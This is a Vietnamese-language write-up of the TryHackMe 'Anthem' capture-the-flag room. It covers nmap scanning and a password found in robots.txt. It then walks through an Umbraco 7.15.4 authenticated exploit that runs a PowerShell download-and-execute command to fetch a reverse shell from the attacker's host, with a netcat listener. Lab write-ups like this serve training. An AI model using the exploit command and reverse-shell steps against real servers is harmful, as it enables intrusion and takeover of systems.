Advertisement

Responsive Advertisement

Anthem - TryHackMe - Write Up

 


This task involves you, paying attention to details and finding the 'keys to the castle'.

This room is designed for beginners, however, everyone is welcomed to try it out!

Enjoy the Anthem.

In this room, you don't need to brute force any login page. Just your preferred browser and Remote Desktop.

Please give the box up to 5 minutes to boot and configure.


Bước 1: Thu thập thông tin

Sử dụng nmap quét thông tin máy chủ

# nmap -sV -sC ipVicTim
Host is up, received user-set (0.10s latency).
Scanned at 2020-05-15 15:59:17 EDT for 91s
Not shown: 995 closed ports
Reason: 995 resets
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-LU09299160F
| NetBIOS_Domain_Name: WIN-LU09299160F
| NetBIOS_Computer_Name: WIN-LU09299160F
| DNS_Domain_Name: WIN-LU09299160F
| DNS_Computer_Name: WIN-LU09299160F
| Product_Version: 10.0.17763
|_ System_Time: 2020-05-15T20:00:26+00:00
| ssl-cert: Subject: commonName=WIN-LU09299160F
| Issuer: commonName=WIN-LU09299160F
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-04T22:56:38
| Not valid after: 2020-10-04T22:56:38
| MD5: 2814 61de 95b7 e9b5 4789 3027 7f1f 60d2
| SHA-1: d47d 2a8f 6143 b820 936e 4120 cdd1 9ddc 5385 d285
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQObhN9c8QnIVGx+ZslzEOmzANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9XSU4tTFUwOTI5OTE2MEYwHhcNMjAwNDA0MjI1NjM4WhcNMjAx
| MDA0MjI1NjM4WjAaMRgwFgYDVQQDEw9XSU4tTFUwOTI5OTE2MEYwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA4MPIi4yCYJlBv6vwXF5lu5NbQCPQxk4q
| 7lJsJSvTRSIFi2fVl3l+rWTr69mutnVqo+bMilJorN2B6DqsCJBV+7pITFSICM6b
| +G/sOEblVust2tUU8NLbAiBH9oXhF0P5dIhMzRC4pcZjhCRR+IcOjnABTCkdAchD
| Mf4XQJx6GZOXBCBMXGW/vCKZ0q8gti7Hxs36W1ctbj8/i5obd0k0BonMlvRwKxvi
| 7SS+3NrBpc4XivD23YIqCNzErOB19DV3JqZMvbE+NhLEQA51Au2svYwgoJcIIyEC
| HBuINXeFBB+p5dMwp4wppkHN0CuquUyCBZvIPlDW8SAOAc5tgUOJAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAAziR6P3nN9/EKLhZqJKgkWP9FyNr9CusD78wem1C5fn9h7SjS1PQEhn1
| Gi50rlcUmII4E8Bnv6g/1QZnZIsPtVzO3bokQfbhTEzWOQ8RScB3ZQ+Tg7xM4duA
| NZdzR1/hjOOmPBV4ih3+AKmbEZ63V3PuJOn2+0/NsGXzGKhaNhlAof58lXkXrt9x
| DvmpyfER7oq/3+kPQhXlNK7VZ/dp26BLFQT12be1yyeVck2n/90pXTxV/COaIdsF
| q7RJPVO+4FCua77sUUSV9E5CL3oOFJT5MjkAMEkoKsU9InWHhA5w+ndQqDgXIb40
| 7b3pD6AiS/ZEvSpzCyeVnDprZxVIaQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2020-05-15T20:00:48+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 26598/tcp): CLEAN (Couldn't connect)
| Check 2 (port 61865/tcp): CLEAN (Couldn't connect)
| Check 3 (port 47039/udp): CLEAN (Timeout)
| Check 4 (port 33149/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-15T20:00:29
|_ start_date: N/A

Mình thu thập được rất nhiều cổng dịch vụ đặc biệt quan tâm dịch vụ 3389-RDP và 80-HTTP

Bước 2: Khai thác dịch vụ web

Mình truy cập vào website 



Mình thấy một domain là Anthem.com. 

Mình thử tìm thông tin đường dẫn robots.txt thấy một loạt đường dẫn và một giá trị có thể là mật khẩu mình lưu lại, mình che đi bạn tự tìm nhé

Mình truy cập thử đường dẫn đó xem sao, nhưng mà chưa có gì, mình tìm ở trên website thấy một thông tin này click vào


Thấy một khổ thơ, đọc khá vui vui



Kiểm tra mã nguồn trang đầu tiên mình thấy cờ đầu tiên


Tiếp tục ở trang đầu tiên mình kiểm tra mã nguồn mình có cờ số 2



Tiếp tục tìm kiếm, mình thấy trang tác giả có cờ số 3


Kiểm tra lại mã nguồn của bài thơ mình thu được cờ số 4


Mình truy cập đường dẫn http://ipvictim/umbraco mình cần login, mình lấy thông tin thu thập được lúc ban nãy bao gồm

Gmail: SG@anthem.com
Mật khẩu: Thu được ở trang robots.txt

Mình thực hiện đăng nhập và thấy đây là website  Umbraco 7.15.4



Mình tìm trên mạng thấy lỗ hổng này 


Đây là lỗi ở trên nền tảng CMS này, mình thử nghiệm lại xem hệ thống này có lỗi đó không

Mình thực hiện tải mã độc kết nối reverse shell về 


Sau đó mình thực hiện lện sau
python exploit.py -u 'SG@anthem.com' -p 'password' -i 'http://ipvictim' -c 'powershell.exe' -a "IEX (New-Object Net.WebClient).DownloadString('http://yourip/shell1.ps1')"

Mình chạy netcat trên máy kali và chạy cả python mở ra một trình download mã độc

Tab1: 
nc -lnvp 443

Tab2:
python -m http.server 80

Sau khi đẩy shell thành công mình kết nối máy chủ bằng RDP với user SG và mật khẩu vừa rồi 
lấy từ robots.txt

Bước 3: Khai thác RDP

Sau khi đăng nhập thành công mình đọc cờ của user SG



Mình truy cập ổ C:/ thấy thư mục backup, mình mở tra có một tệp 
restore.txt

Nhưng mình không đọc được nên mình thử thêm quyền cho user SG 



Sau đó mình mở CMD và đọc nội dung thử và đã có một giá trị như mật khẩu
C:\>dir /a:hd
 Volume in drive C has no label.
 Volume Serial Number is 1225-5238

 Directory of C:\

15/09/2018  08:19    <DIR>          $Recycle.Bin
05/04/2020  23:42    <DIR>          backup
05/04/2020  10:56    <JUNCTION>     Documents and Settings [C:\Users]
05/04/2020  14:46    <DIR>          ProgramData
05/04/2020  10:56    <DIR>          Recovery
05/04/2020  10:55    <DIR>          System Volume Information
               0 File(s)              0 bytes
               6 Dir(s)  46,857,580,544 bytes free

C:\>cd backup

C:\backup>dir
 Volume in drive C has no label.
 Volume Serial Number is 1225-5238

 Directory of C:\backup

05/04/2020  23:42                21 restore.txt
               1 File(s)             21 bytes
               0 Dir(s)  46,857,580,544 bytes free

C:\backup>more restore.txt
ChangeMeBaby1MoreTime

C:\backup>
Mình thử mở cmd với administrator và mật khẩu đó, và thành công

Mình đọc cờ cuối



Post a Comment

0 Comments